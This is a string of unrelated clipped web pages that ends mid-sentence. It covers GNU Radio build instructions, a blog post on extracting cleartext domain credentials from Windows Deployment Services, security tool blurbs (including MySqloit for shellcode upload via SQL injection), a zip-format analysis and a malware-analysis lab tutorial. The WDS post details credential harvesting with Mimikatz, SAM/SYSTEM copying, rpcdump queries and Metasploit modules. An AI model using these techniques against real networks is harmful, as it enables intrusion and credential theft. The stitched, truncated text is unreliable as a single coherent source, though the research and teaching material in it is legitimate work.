    * The following components have been ported:
    * The following components will be ported:
  * Port duties
    * Port components
    * Port binary packages
    * Back-port code
  * Get the code
  * Binary Packages
  * Linux build instructions
  * Windows build instructions
    * Install the dependencies
    * Setup the environment variables
    * Configure the project
    * Build and install gnuradio
    * Run Gnuradio-Companion

* * *
## Introduction

I have ported various gnuradio components to a CMake build system, and
modified the parts of the code to be compatible with the MSVC compiler. This
page includes instructions for building the port on Windows and Linux; as well
as instructions for installing the prerequisites on Windows.

* * *
## Port goals

  * End-users will be able to download and install pre-built exe installers to use gnuradio natively on Windows.
  * End-developers will be able to build gnuradio natively on Windows with the MSVC compiler and likely other untested compilers.
  * End-users running Linux will also be able to install the pre-built deb and rpm packages. This will be particularly useful for users who cannot wait for their package manager to get the latest gnuradio packages.

### The following components have been ported:

  * gruel
  * gnuradio-core
  * gr-qtgui
  * gnuradio-companion
  * gr-uhd
  * gr-audio

### The following components will be ported:

  * volk - partially done
  * misc examples
  * doxygen generation

**Note:** Other components may be ported upon request. Also other volunteer
efforts are welcome.

* * *
## Port duties

### Port components

The port repo will be periodically kept up-to-date with the gnuradio next
branch. Which involves:

  * resolving merge conflicts
  * keeping CMakeLists.txt consistent with source files
  * Adding API import/export macros to new header files

### Port binary packages

Binaries installers will be periodically built and uploaded. Building binary
installers is very easy with CMake using CPack. See the CPack generators page.
The following binary package types will be built:

  * Windows exe installer
  * Windows zip file
  * Linux deb package
  * Linux tarball

**Package notes:** Windows packages are built on on Windows7 with the most
recent Boost version available from Boost Pro Consulting. Unfortunately,
getting all x64 pre-built dependencies is very hard; and therefore, Windows
packages are only available in x86. Linux packages are built with the most
recent version of Ubuntu x64.

### Back-port code

Changes to the code base that allow for compiling under non-gcc compilers will
be back-ported to the mainline gnuradio next branch \(if the gurus permit
it\).

* * *
## Get the code

This gnuradio port is hosted at https://github.com/guruofquality/gnuradio

[code]

    git clone git://github.com/guruofquality/gnuradio.git
    
[/code]

* * *
## Binary Packages

http://www.ettus.com/downloads/gnuradio/

TODO CPack setup

* * *
## Linux build instructions

The Linux build requirements are the same as Gnuradio proper. In addition,
install cmake, and if desired, cmake-gui. All packages should be available in
your system's package-manager.

Checkout the source and run the following commands:

[code]

    cd gnuradio
    mkdir build
    cd build
    cmake ../
    make
    make test
    make install
    
[/code]

* * *
## Windows build instructions

This section will be filled in with updated instructions based on the
following email: http://www.ruby-forum.com/topic/787305

### Install the dependencies

cmake, gsl, fftw, pyqt, pygtk, python, numpy, swig, cppunit can be found pre-
built in zip files or exe installers

qwt must be built from source once qt installed \(see readme\)

cheetah and lxml can be installed through easy install

I have accumulated dependency installers here:
http://www.ettus.com/downloads/gnuradio/

### Setup the environment variables

All of the installed packages will need to have their bin and lib directories
added to the PATH so they can be found at runtime. While you're at it, set the
PYTHONPATH and PATH for the gnuradio install.

I recommend using rapid environment editor \(vs the 40 character entry box\)
so your eyes don't bleed. Here is a screen cap of the PATHS all setup on my
system: http://i.imgur.com/HyzgK.png

### Configure the project

Open cmake-gui and feed it the paths for the gnuradio source tree and a path
for the generated build file stuff. Click configure.

What happens next is an iterative process and you will wish there was package
config :-\) Set the \*\_INCLUDE\_DIRS and \*\_LIBRARIES variables for various
dependencies. As you set these variables and click configure, check boxes for
gnuradio components will appear once their dependencies are met.

### Build and install gnuradio

Open gnuradio.sln and build and install, or open the MSVC command prompt and
run the following:

[code]

    cd <gnuradio build directory>
    devenv gnuradio.sln /build Release /project ALL_BUILD
    devenv gnuradio.sln /build Release /project INSTALL
    
[/code]

### Run Gnuradio-Companion

Open a command window \(cmd.exe\) and enter:

[code]

    c:\Python<version>\python.exe <prefix>\bin\gnuradio-companion
    
[/code]

# rewt dance: Windows Deployment Services Clear Text Domain Creds

**Created:**| _11/7/2012 6:17:39 PM_  
---|---  
**Updated:**| _11/7/2012 6:17:39 PM_  
**Author:**| __  
**Tags:**| _vulnerability xss_  
  

# Windows Deployment Services Clear Text Domain Creds

Dave, Rel1k, Kennedy's talk 'Owning One To Rule Them All'  at Defcon 20 Las
Vegas opened my eyes to using a client's PXEBoot service, normally Windows
Deployment Services, to infiltrate their network. The gist of the attack is
simple, network boot a computer, retrieve the corporate image, and use that to
gain information/credentials for the corporate domain.  
  
The easiest way to do this, other than bringing a seperate machine, is to use
a VM, but a lot of the windows boot images do not have drivers for the latest
VMWare network interfaces. To get around this we can force a PXEBoot VM Image
to use an older NIC by editing the VMX file with the following:  
  
Add: ethernet0.virtualDev = "e1000" after ethernet0.present = "TRUE"  
  
The next step is to network boot, obtain a PXEBoot response, and a Windows
Boot Image is sent over TFTP to our machine.  
  
Depending on the configuration two things may occur:  
  
You may be asked for a password to connect to the image share - unfortunately
you need a valid domain account at this stage and probably wont get further
without it.  
  
Alternatively you get a choice of a number of different images, they all could
contain goodies, and are all worth checking out, but installing one can take a
significant amount of time.  
  
When you have the installed machine loaded, there's a number of possibilities
for obtaining credentials:  
  
a\) The image could have been cloned from an existing machine, all post
exploitation steps are viable to obtain credentials: hashdump the local
accounts or Mimikatz/WCE to retrieve in memory credentials \(the machine will
often be configured to AutoLogin etc\). If you don't have admin credentials on
the machine you can mount the VM harddrive and copy the SYSTEM and SAM files
to your host machine for cracking. Local credentials will often be the same
for many client workstations/laptops and they may even be valid on servers.  
  
b\) The image could be automatically joined to the domain - we can now
enumerate users, group policy preference files, logon scripts and domain
shares to discover credentials.  
  
c\) Find the unattend.xml or imageunattend.xml file used to configure the
image. If the process has worked correctly most credentials will be wiped from
the XML file as they are applied. You may have some luck pausing the VM at
certain points after installation but before it boots and mounting the virtual
disk to obtain the unprocessed unattend.xml.  
  
All of the above, is generally pretty easy, but can be very time consuming.
You may not have set your VM harddrive large enough for the image, you may not
have enough room spare to host the VM, errors with drivers may occur as they
are meant for specific hardware, and it takes time to boot over the network
and install each operating system they have available.  
  
To ease my pain when performing these checks, I started writing some
Metasploit modules to speed up the process:
auxiliary/scanner/pxe/pxer\_servers which simply sends out DHCP Requests and
listens for a DHCP Response containing the location of the PXEBoot server.

<img src='img/Temp2_10613.png' width='320' height='94' />

We can verify this is a Windows Deployment Service with the following command
\(if you have installed Impacket  or use Metasploit's
auxiliary/scanner/dcerpc/endpoint\_mapper\):  
  
rpcdump.py 192.168.10.22 135/TCP |grep -i
"1a927394-352e-4553-ae3f-7cf4aafca620"  
1A927394-352E-4553-AE3F-7CF4AAFCA620/Version: 1  
1A927394-352E-4553-AE3F-7CF4AAFCA620/StringBindings: ncacn\_ip\_tcp:\[5040\]  
  
\(1a927394-352e-4553-ae3f-7cf4aafca620 being the GUID identifying the Windows
Deployment Services RPC Endpoint\)  
  
The goal of my investigations now, was to discover how to obtain the
unadulterated unattend file without going through the rigmarole of performing
a full PXEBoot install. After setting up my own WDS it is obvious that two SMB
shares are often used to deploy the windows images, and unattend files:  
  
\\\server\RemInst  is the default folder used by Windows Deployment Services
and should always have this name no matter which drive or folder they store
images in.  
\\\server\DeploymentShare$  is the default folder used by Microsoft Deployment
Toolkit, but this can be renamed but should generally always have a comment of
'MDT Deployment Share'.  
  
When we gain access to these shares, it is simple to do a search for
\*unattend.xml but I believe they are generally located in the following
paths:  
  
RemInst\Images\XXXX\unattend\ImageUnattend.xml  
DeploymentShare\Control\\\#\Unattend.xml  
  
These shares need a domain login, which is why we get prompted at the start of
the process if the administrator hasn't set the installation to be completely
unattended or 'zero-touch'. Fortunatly administrators often do configure
WDSthis way and if this is the case TWO unattend files are actually used:  
  
**http://technet.microsoft.com/en-us/library/cc732729\(v=ws.10\).aspx**  
**Windows Deployment Services client unattend file.** This file uses the
Unattend.xml format and is stored on the Windows Deployment Services server in
the \WDSClientUnattend folder. It automates the Windows Deployment Services
client user interface screens \(such as **_entering credentials_** , choosing
an install image, and configuring the disk\).  
  
**Image unattend file.** This file uses either the Unattend.xml or Sysprep.inf
format, depending upon the version of the operating system in the image. It is
used to configure unattended installation options during Windows Setup and is
stored in a subfolder \(either $OEM$ structure or \Unattend\) in the per-image
folder. It automates the remaining phases of Setup \(for example, offline
servicing, Sysprep specialize, and mini-setup\).  
  
That first WDS client unattend file may contain valid domain credentials, but
how do we view it?  
  
Microsoft decided this would be a good file to send in clear text without
requiring authentication making it trivial to recover if we monitor the
traffic of our VM install with the following Wireshark filter
'ip.addr==x.x.x.x && dcerpc':

<img src='img/Temp2_10609.png' />

I didn't want to have to boot up a VM to recover this file everytime, it can
take some time for TFTP to transfer the boot files, and the process can really
eat into your testing time so I went about creating a tool to recover the
unattend file directly from this service.  
  
Fortunately for us this protocol is all documented on technet and is the
Windows Deployment Services Control Protocol \(WDSCP\) running on TCP/5040.  
  
http://msdn.microsoft.com/en-us/library/dd541214\(v=prot.10\).aspx  
  
It also uses the Windows Deployment Services Operation System Deployment
Protocol Specification \(WDSOSDPS\) where anyone digging deep enough into the
documentation may have discovered this issue by RTFM:  
  
http://msdn.microsoft.com/en-us/library/dd891320\(prot.20\).aspx  
  
To that end I have created a metasploit module:  
  
auxiliary/scanner/dcerpc/windows\_deployment\_services  
  
It will retrieve the unattend files for all architectures and store as loot.
It will then parse the XML to retrieve the credentials and store as creds.

<img src='img/Temp2_10611.png' width='320' height='133' />

What if I protect my WDS installation by setting it to 'Respond only to known
client computers' or even 'Do not respond to any client computers'?

<img src='img/Temp2_10612.png' />

**As you can see from the tab name this only prevents the server from
responding to DHCP/BOOTP PXE Requests, the RPC endpoint is still active, and
will still respond to requests for the unattend file without any verification
of the client.** Requests for the unattend file do not show up in the 'Pending
Devices', this only occurs if you download and load the boot file, making this
method more stealthy than a VM boot.  
  
Finally to make use the gained credentials, and hopefully obtain further
credentials I created auxiliary/gather/windows\_deployment\_services\_shares.
This will enumerate the shares on the host and search through for unattend
files and then extract credentials from them:

<img src='img/Temp2_10610.png' width='320' height='87' />

https://github.com/Meatballs1/metasploit-framework/tree/wds  
  

# dharma - DHARMA: Grammar-based Test Case Generation - Google Project Hosting

**Created:**| _10/24/2013 12:23:43 PM_  
---|---  
**Updated:**| _10/24/2013 12:24:52 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Fuzzer Grammar_  
  

DHARMA is a tool used to create test cases for fuzzing of structured text
inputs, such as markup and script**.** DHARMA takes a custom high-level
grammar format as input, and produces random well-formed test cases as
output**.** Some features:

  * Persistent variable tracking and cross-reference support
  * Intuitive cross-referencing and meta function syntax
  * Automatic leaf node bias after deep graph recursions
  * Internal constant overriding for greater configurability
  * Templated prefix and suffix outputs

<img src='img/dharma.zip' width='265' height='49' />****

# Conditional Branch Logger - Collaborative RCE Tool Library

**Created:**| _6/9/2011 6:47:46 PM_  
---|---  
**Updated:**| _6/9/2011 6:47:51 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
| Conditional Branch Logger is a plugin which gives control and logging
capabilities for conditional branch instructions over the full user address
space of a process. Useful for execution path analysis and finding differences
in code flow as a result of changing inputs or conditions. It is also possible
to log conditional jumps in system dlls before the Entry Point of the target
is reached. Numerous options are available for fine tuning the logging ranges
and manipulating breakpoints.  
---|---

# FuzzySecurity/PSKernel-Primitives

**Created:**| _5/7/2017 10:45:12 AM_  
---|---  
**Updated:**| _5/7/2017 10:45:12 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

# MS16-135 x64 Universal

The initial POC for this bug was based on @TinySecEx's post here\!

Vulnerability reference:

  * MS16-135
  * CVE-2016-7255

## SYSTEM Shelzz

The exploit works on all 64-bit vulnerable targets. Server versions not tested
but they should work just fine.

### Windows 7

<img src='img/Win7.png' width='585' height='594' alt='Win7' />

### Windows 8

<img src='img/Win8.png' width='595' height='597' alt='Win8' />

### Windows 8.1

<img src='img/Win81.png' width='588' height='597' alt='Win81' />

### Windows 10

<img src='img/Win10.png' width='574' height='581' alt='Win10' />

  

# Keeping Zip - The Hacker Factor Blog

**Created:**| _11/10/2010 8:16:20 AM_  
---|---  
**Updated:**| _11/10/2010 8:16:41 AM_  
**Author:**| __  
**Tags:**| _analysis File-format_  
  

### Zip Structure

  
As it turns out, zip files are pretty easy to parse. There are even a couple
of really good references online \(Wikipedia and Pkware\).  
  
The entire zip format uses little endian for storing values. \(Wow, why
couldn't JPEG and TIFF make a decision like this?\) There are four byte tags
that identify various data blocks. Thus, even if the file is partially
corrupted, you should be able to find the blocks and extract something. \(This
is how the 'zip -F' fix option works -- it rebuilds the directories based on
the blocks it finds.\)  
  
As far as I can tell, there are really only four block types: File entry, End
of file entry, Central directory entry, and End of central directory. A
minimal zip file does not need any end of file entries. And a zip file can be
recovered as long as the file entry \(and optional end of file entry\) is
intact.  
  
The end of the zip file holds the end of central directory \(denoted by the
0x06054b50 tag, located 20 bytes before the end of file\). This record is both
the most important and least important part of the file. If it isn't there,
then unzip won't work. However, it doesn't do too much. This 20-byte record
identifies how many records are in this zip archive, if this is part of a
multi-zip \(split zip\) archive, where the central directory is located \(and
its size\), and any comment associated with the zip file. However, it actually
isn't used or needed to unzip files. \(You can completely work around it.\)  
  
At the beginning of the zip file are the important parts. These are the file
entries. Each record has a 30-byte header that start with 0x04034b50. This
header stores the version of zip needed to unpack it, various flags, the
compression method, CRC32 checksum for the unpacked data, compressed and
uncompressed sizes, filename, and an application-specific "extra field". Oh
yeah, it also stores a timestamp\!  
  

### The Minimal Time

  
The file entry's timestamp contains a four-byte value in the old DOS FAT
datetime format. This encodes the date and time into specific bit fields. For
example, the upper 7 bits are the year since 1980, the next 4 bits are the
month, then comes 5 bits for the day, 5 bits for the hour, 6 bits for the
minute, and 5 bits for the seconds.  
  
Some bit patterns will never happen. For example, although it can store 16
different values for the "month" field, it will only ever store the first 12
values. \(For this reason, formats like Unix epoch -- seconds since 1-Jan-1970
-- are better since there are no wasted values.\) Also, since it only stores 5
bits for seconds, that means the time resolution is never more than 2 seconds
\(all extracted times should either all be rounded to even seconds, or rounded
to odd seconds\).  
  
This timestamp format is "good enough" for most files. Of course the big
question is "what time zone?" The file entry's time stamp appears to always be
in localtime. Most versions of unzip report this timestamp when you use 'unzip
-l'.  
  

### Finding Records

  
So you know how to find the first file entry. How about the second entry?
There are actually a few options for finding it.  
  
The second entry normally comes right after the first. So you just need to
skip the 30-byte header, file name and extra fields \(the lengths were in the
header\), and the compressed data size.  
  
But what if you miss? Well, you can just throw away bytes until you find the
next 0x04034b50.  
  
However, there is one central directory entry for every file entry. The
central directories come after the files and that important/unimportant end
central directory record says where to look for the first central directory
entry. Each central directory entry begin with 0x02014b50 and includes a
pointer to the associated file entry. So this is a good way to find the next
file.  
  

### Without Limits

  
Of course, this is just too simple. Let's make it more complicated\! When the
zip program is creating the file, it may not know the compressed size at that
moment. For example, if the uncompressed data is huge, then the zip program
may compress and write as it goes. For these file entries, the checksum and
compressed/uncompressed sizes are unknown when the header is first written.
Oddly, the zip program does not go back to fill in the missing data after
compressing the file. Instead, the missing checksum and sizes are stored in
the central directory entry, and in an end of file entry marker. \(The marker
is only used when the compressed length is unknown.\)  
  
The marker follows the data and begins with 0x08074b50. It is only 16 bytes:
the 0x08074b50 tag, checksum, compressed size, and uncompressed size. To make
sure you match the end, look for the tag and the correct compressed size. If
those 8 bytes don't match, then you're not at the end. \(Always make sure the
4-byte compressed size matches, otherwise a zip within a zip can throw you
off.\)  
  

### Down Sizing

  
So far, zip seems like a good file storage system with redundant markers so
you can recover from a partial corruption. Unfortunately, this is where the
good stuff ends. Now for the bad parts of the zip format...  
  
Each entry header has a generic 16-bit flags field. A few bits have very
specific purposes. For example, the least significant bit \(bit 0\) denotes
whether the file is encrypted. \(This is why you can see the filename, size,
and timestamp of an encrypted file; only the contents are encrypted.\)
However, the purpose of other bits vary based on the compression method. And
there are at least 18 pre-defined compression systems \(even though only two
are commonly used\).  
  
The bigger problem comes from the "extra field". This field contains optional
data for extending the data stored in zip. For example, Unix/Linux/Mac systems
may store the UID and GID for the files, and access and modification
timestamps \(in epoch time\). OS/2 zip files may store extended attributes,
and NTFS can store other types of data.  
  

### Finding the Time

  
Wait, Unix timestamps? Yes, this is where the differing times that I noticed
came from. There are actually many different extra field record types. And
many are well documented. Each type has a two-byte tag denoting the type of
data and a two byte length for the format-specific value. A single extra field
can have many of these chained together \(type length data, type length data,
etc.\).  
  
While the file entry record is stored in "localtime" \(whatever time zone was
used to create the zip archive\), the unix times \(extended field types UX and
UT\) are stored in UTC. That's how the other zip program knew to convert the
time to my local time. It is also how I was able to determine the time zone of
the system that created the zip file -- subtract UTC from the file entry time
\(ignore if seconds are off a little\) and you've got the original time zone.  
  
If the unix-time extended attributes are present, then you've also got much
finer resolution -- down to 1 second rather than 2. If you need even finer
resolution, then you can hope for an NTFS extra field. The NTFS extra field
stores using the 64-bit filetime format and has a resolution of 1/100th of a
nanosecond.  
  

### Too Many Extras

  
There are really only three problems with the extra field. First, you cannot
depend on it being there. All extra fields are optional and operating-system
specific.  
  
Second, you may not recognize a new \(or old\) extra field. For example, there
are extra field formats defined for VM/CMS and MVS operating systems. Although
these systems are really not used anymore \(except maybe by old universities,
government, and companies that refuse to upgrade\), you might come across one
of these records in an old zip file and want to parse it.  
  
Finally, there is a huge amount of variation and redundancy that could use
simplification. For example, I still don't know why there are at least three
different tags for storing Unix time: UT \(universal time\), UX \(unix times
with optional UID/GID\), and Pkware's Unix0 \(just like UX but UID/GID are
required and there can be additional filetype-specific data\). I'm sure there
is a historical reason for these, but someone needs to teach Info-ZIP the
meaning of "deprecated".  
  
Ironically, if I were to recreate the zip format today, I would keep the extra
field and get rid of the general flags and compression method field. The
compression method and various options could easily be stored in the extra
field, without overloading bit purposes in the general flag. \(Then again, I'd
probably replace all of the headers with something more variable length,
simplify some of the redundancy, and make the whole thing more general
purpose.\)  
  
Like I said, I still don't know whether I like the zip format or not. However,
it is certainly good enough.

  

# Dr. Fu's Security Blog: Malware Analysis Tutorial 1 - VM Based Analysis
Platform

**Created:**| _1/3/2012 4:15:12 PM_  
---|---  
**Updated:**| _1/3/2012 4:15:12 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 1 - VM Based Analysis Platform

**_Learning Goals:_**  

  1. Configure a virtual machine based experimental platform for malware analysis.
  2. Master basic network sniffing/monitoring skills

** _This Lesson Can be Used as a Lab Module in:_**  

  1. Computer Networks and Communication Protocols
  2. Operating Systems

 _**Challenge of the day** :_  
  
 _Run the Max++ malware, can you describe its network activities?_  
  

**1\. Introduction**  
  
This tutorial is intended for those who are interested in malware analysis. We
take a step-by-step approach to analyzing a malware named ZeroAccess. Giuseppe
Bonfa has provided an excellent analysis \[1\] of the malware. This mini-
series will help you to gain hands-on experiences with the analysis. We assume
that you have some basic understanding of X86 assembly, debugging, operating
systems, and programming language principles. Instructors are welcome to use
this tutorial and integrate it in computer science courses such as computer
architecture and operating systems. _If you are using this material in your
classes, we would appreciate if you follow up with a comment on this site and
provide some basic information about your course so that we know our tutorial
is helpful._  
  
The purpose of this lesson is to set up a virtual machine based analysis
environment. Before rolling up your sleeves, please make sure you have the
following:  

  1. Windows XP SP2 installation disk \(Note: it has to be SP2\)
  2. Linux Ubuntu installation disk \(the version we use in this tutorial: Ubuntu 10.04 lucid LTS. The version does not really matter\)
  3. A computer loaded with XP, with at least 50GB of disk space. \(later, we refer to this computer: the "host XP"\)
  4. High-speed Internet
  5. An account on OffensiveComputing.net \(http://www.offensivecomputing.net/\)

If the screen resolution is too small, start the XP guest, and then click the
"**Install Guest Additions** ", and then reboot the XP Guest and adjust its
screen resolution \("Right click on desktop -> Properties -> Settings"\).  
  
**2\. Software Installation**  
  
We will need to download a number of other open-source/free software tools.
The installation process is straightforward and we omit most of the details
here. The installation process may take about 5 hours. \(_Hofstra students can
check out DVD images of VBox instances from my office Adams 203_.\)  

  1. Install Oracle Virtual Box v4.04 on your host XP. \(http://www.virtualbox.org/\).
  2. Create a Windows XP Guest \(using your SP2 installation disk. For the VM itself, assign at least 256MB RAM and 10GB disk space.\) on VBox manager.\(later we refer to this VM instance as "guest XP"\). Install the following on your guest XP.

  1. Python 2.7. 
  2. Immunity Debugger \(http://www.immunityinc.com/products-immdbg.shtml\)
  3. IDA Pro Debugger Free Version \(http://www.hex-rays.com/idapro/idadown.htm. Note: get the free version but not the evaluation version - it does not allow saving dbg databases\)
  4. HxD \(a binary editor http://mh-nexus.de/en/hxd/\)
  5. \* Download the Malware instance of Max++ from OffensiveComputing.net \(instructions available in \[1\]. The file name is "**_Max++ downloader install\_2010_** ". _Don't run it\!\!\!_\)
  6. After the above is done, take a snapshot of the guest SP in VBox. A snapshot allows you to quickly recover to the original status of the system. 

  * On your host XP, install WinDbg \(http://msdn.microsoft.com/en-us/windows/hardware/gg463009\). You might choose to download the entire XP debugging symbols on your host XP \(which might speed up the debugging a little\).
  * Create a Linux Ubuntu Guest \(using your Ubuntu 10.04 installation disk. Assign at least 512MB RAM and 10GB disk space\) on VBox. Install the following \(you can use apt-get or System->Administration->Synaptic Package Manager which has GUI\).

  1. Wireshark \(a sniffer. "sudo apt-get install wireshark" to install\) 
  2. GDB \(GNU debugger\)
  3. g++ \(c++ compiler\)
  4. Python  
  
The current resolution of Linux guest is too small. You can change the
**screen resolution** following the instructions listed on Linux Format Forum
\[2\].

**3\. Configuration**  
  
Up to now, both of your VM guests should have Internet access. What we will do
next is to configure both instances so that all the traffic from the XP guest
will have to go through the Linux guest. On the Linux guest, we use Wireshark
to monitor the network traffic of XP guest when the malware is running. The
design is shown in the following figure.  
  
**3.1 XP Guest**  
  
Now power off your XP Guest.In VBox manager, right click on the XP Guest and
select "Setting". We will set up the network adapters of XP Guest.  
  
In Network -> Tab "Adapter 1": \(1\) click the "Enable network adapter"
checkbox, and \(2\) select "**Internal Network** " for "**Attached To** ".
\(Note: please make sure to use the default network name "intnet" assigned by
the VBox manager.\)This allows us to separate the XP Guest from the outside
world and connects to an internal network managed by the VBox manager.  
  
Then we will enable a serial port for WinDbg. The setting is shown as below.
Note that it is important to set up the Port/File Path "\\\\.\pipe\com\_11"
and the simulate the port as "Host Pipe".  
  

<img src='img/Temp2_2388.jpg' width='400' height='331' />

  
  
  
  
  
  
Vt-x is a special CPU technology that is used to support virtualization. In
Virtual Box, you have to enable it, otherwise hardware breakpoints will not
work. Later you will see that the Max++ malware smartly takes advantage of
hardware BP for hijacking system calls and it relies on hardware BP - you have
to enable the Vt-x, as shown in the following figure.  
  

<img src='img/Temp2_2389.jpg' width='400' height='332' />

  
  
**3.2 Linux Guest**  
  
We now set up the Linux guest as the gateway computer of the internal network
\(power off the VBox instance first\). It will have two adapters: one connects
to the internal network and the other connects to the outside.The following
figure shows the setting of the first adapter \(Internal Network\). In adapter
2, sets the network type \("Attached To"\) to "NAT". As you know, NAT stands
for Network Address Translation. This provides a further layer protection of
our VM instances.  
  
Note: click the "Advanced" key and make sure that the "Adapter Type" is "Intel
Pro/1000". Also change the last two digits of the MAC address to "01" \(so
that we can easily identify it as Adapter 1 later\); similarly change the last
two digits of the MAC of the second adapter to "02". If you are using **VBox
4.1.0 or later** , in the Advanced tab, there is an additional checkbox for
"**Promiscuous** " mode, select "**allow for all** " \(so that all traffic
will be intercepted\).  
  

<img src='img/Temp2_2387.jpg' width='400' height='333' />

  
Now reboot the Linux Ubuntu guest. We need to configure it as a gateway
computer. Follow the instructions below:  

  1. Start a terminal window and type "**ifconfig** " to get the information of all available adapters. You should be able to see three of them, e.g., in my case "eth1", "eth2", and "lo" \(the local loophole interface\). If you look at their MAC addresses, you can verify that they are the ones that we set in the VBox manager earlier. Let us assume "eth1" corresponds to the adapter "xx...:01" and "eth2" corresponds to adapter "xx...:02".
  2. **System - > Preference -> Network Connections**. First delete all existing network connections, and set up the first wireless connection **following the figures below** \(use **169.254.236.100** as the static IP\). Note that you can get the Gateway for it should be "**0.0.0.0** " \(make sure to **hit enter** when you finish typing 0.0.0.0 in the third cell - the GUI of Ubuntu has some problems - if you don't hit enter, it will forget the entry you just added\), because this is the link to the local internal network and the computer itself is the gateway. Similarly, set up the second wired connection \(for the NAT connection\), but this time, use **DHCP** for assigning the IP addresses. Here we are lazy to use the Ubuntu GUI. There are equivalent ifconfig commands for achieving the above if you are interested in exploring by yourself.

  

<img src='img/Temp2_2390.jpg' width='400' height='231' />

  
3\. Now now set up the IP forwarding. Create a file named "network.sh" and
"chmod 755 network.sh". The shell script consists of three commands as shown
below:  
  
sudo sysctl -w net.ipv4.ip\_forward=1  
sudo iptables -P FORWARD ACCEPT  
sudo iptables -t nat -A POSTROUTING -o _**eth2**_ -j MASQUERADE  
  
The first is to enable the ip\_forward features of the ipv4 stack in the Linux
kernel. The second is to set up the internal firewall called "iptables" to
allow forwarding packets. The third is to add a post routing tool and forward
all packets to **eth2** \(note: eth2 is your outlink which corresponds to
adapter 2. On your system, it may be a different name\).  
  
**3.3 Reconfigure XP Guest**  
  
Now we go back and reset the XP Guest so that it has the Internet access via
the Ubuntu guest. Do a "nslookup www.google.com" in your Ubuntu guest and find
out DNS server used. Then go to the XP Guest -> Control Panel -> Network
Connections -> Right Click \(Properties\) -> TCP/IP \(Properties\) -> set the
static IP to **169.254.236.200** and set the gateway computer to
**169.254.236.100**. Set up the DNS server correspondingly. Start a browser
and you will NOT have the Internet access yet\!.  
  
You need to go back to the Ubuntu guest and "**sudo ./network.sh** ". Then you
can verify that your XP guest now has the Internet access. Again, "**sudo
wireshark** " you can intercept all the traffic from/to the XP guest \(note:
when wireshark is started, be sure to click ok on the dialog it pops -
otherwise your wireshark is frozen\).  
  
**4\. Challenge of the Day and Conclusion**  
  
We have successfully constructed a simple analysis environment for Max++.
Using the Linux Ubuntu Guest, we can intercept all the packets sent by the
malware. The virtual machine technology has provided us the great benefits of
quick restoration if any system is broken.  
  
You should now make a snapshot of both the XP and Ubuntu guest systems.  
  
Finally, the**challenge of the day** :  
  
 _Run the Max++ malware, can you describe its network activities?_  
  
  

  

  
  
  
**_References_**  
\[1\] Guiseppe Bonfa, "Step-by-Step Reverse Engineering Malware: ZeroAccess /
Max++ / Smiscer Crimeware Rootkit", Available at
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-
engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/  
  
\[2\] udroomla **,** "How To Increase Screen Resolution with VirtualBox and
Ubuntu", Available at http://www.linuxformat.com/forums/viewtopic.php?t=6438  
  
  
  
  
Copyright. 2011. Dr. Xiang Fu. Department of Computer Science, Hofstra
University.  
GNU Generic Public License V3.

# MySqloit – SQL Injection Takeover Tool For LAMP | Darknet – The Darkside
**Created:**| _9/3/2009 6:49:23 PM_  
---|---  
**Updated:**| _9/3/2009 6:49:31 PM_  
**Author:**| __  
**Tags:**| _web-app-sec sql-injection_  
  

MySqloit – SQL Injection Takeover Tool For LAMP

Darknet spilled these bits on September 3rd 2009 @ 6:57 am

MySqloit is a SQL Injection takeover tool focused on LAMP \(Linux, Apache,
MySQL, PHP\) and WAMP \(Windows, Apache, MySQL, PHP\) platforms. It has the
ability to upload and execute metasploit shellcodes through the MySql SQL
Injection vulnerabilities. Attackers performing SQL injection on a MySQL-PHP
platform must deal with several limitations and constraints.

For example, the lack of multiple statements in one query makes MySQL an
unpopular platform for remote code execution, compared to other platforms.
This tool is written to demostrate how remote code execution can be performed
on a database connector that do not support stack queries.

**Key Features**

  * SQL Injection detection using time based injection method
  * Database fingerprint
  * Web server directory fingerprint
  * Payload creation and execution

MySqloit is currently only tested on Linux. This is a new tool though so we
should expect more development soon, I hope some of you guys can test it out
and let the author know what you think.

You can download MySqloit v0.1 here:

MySqloitv0.1.tar

Or read more here.

Tags: hacking lamp, hacking mysql, hacking web apps, hacking-web-applications,
lamp, lamp takeover tool, mysql hacking, mysql injection, sql injection
takeover, sql-injection, sql-injection-tool, web-application-security

  

**<img src='img/Temp2_5546.gif' alt='rss' />Subscribe to Darknet RSS Feed**
<img src='img/Temp2_5546.gif' alt='rss' />

  
**Stored in:** Database Hacking, Hacking Tools, Web Hacking  
  
**Related Posts:**  
**- **sqlsus 0.2 Released – MySQL Injection & Takeover Tool  
**- **sqlmap 0.7 Released – Automatic SQL Injection Tool  
**- **Bsqlbf V2 – Blind SQL Injection Brute Forcer Tool  
**- **sqlmap 0.6.3 Released – Automatic SQL Injection Tool  
**- **Absinthe Blind SQL Injection Tool/Software  
**- **sqlmap 0.5 – Automated SQL Injection Tool

# Flayer: Exposing Application Internals∗

**Created:**| _12/22/2009 5:59:07 PM_  
---|---  
**Updated:**| _12/22/2009 5:59:39 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers_  
  
<img src='img/Temp2_3243' />

# MSDN Blogs

**Created:**| _10/3/2014 9:30:00 PM_  
---|---  
**Updated:**| _10/3/2014 9:30:00 PM_  
**Author:**| __  
**Tags:**| _pecoff_  
  

# MSDN Blogs

### Why is 0x00400000 the default base address for an executable?

3 Oct 2014 7:00 AM

The default base address for a DLL is 0x10000000, but the default base address
for an EXE is 0x00400000. Why that particular value for EXEs? What's so
special about 4 megabytes

It has to do with the amount of address space mapped by a single page
directory entry on an x86 and a design decision made in 1987.

The only technical requirement for the base address of an EXE is that it be  a
multiple of 64KB. But some choices for base address are better than others.

The goal in choosing a base address is to minimize the likelihood that modules
will have to be relocated. This means not colliding with things already in the
address space \(which will force you to relocate\) as well as not colliding
with things that may arrive in the address space later \(forcing _them_ to
relocate\). For an executable, the _not colliding with things that may arrive
later_ part means avoiding the region of the address space that tends to fill
with DLLs. Since the operating system itself puts DLLs at high addresses and
the default base address for non-operating system DLLs is 0x10000000, this
means that the base address for the executable should be somewhere below
0x10000000, and the lower you go, the more room you have before you start
colliding with DLLs. But how low can you go?

The first part means that you also want to avoid the things that are already
there. Windows NT didn't have a lot of stuff at low addresses. The only thing
that was already there was a `PAGE_NOACCESS` page mapped at zero in order to
catch null pointer accesses. Therefore, on Windows NT, you could base your
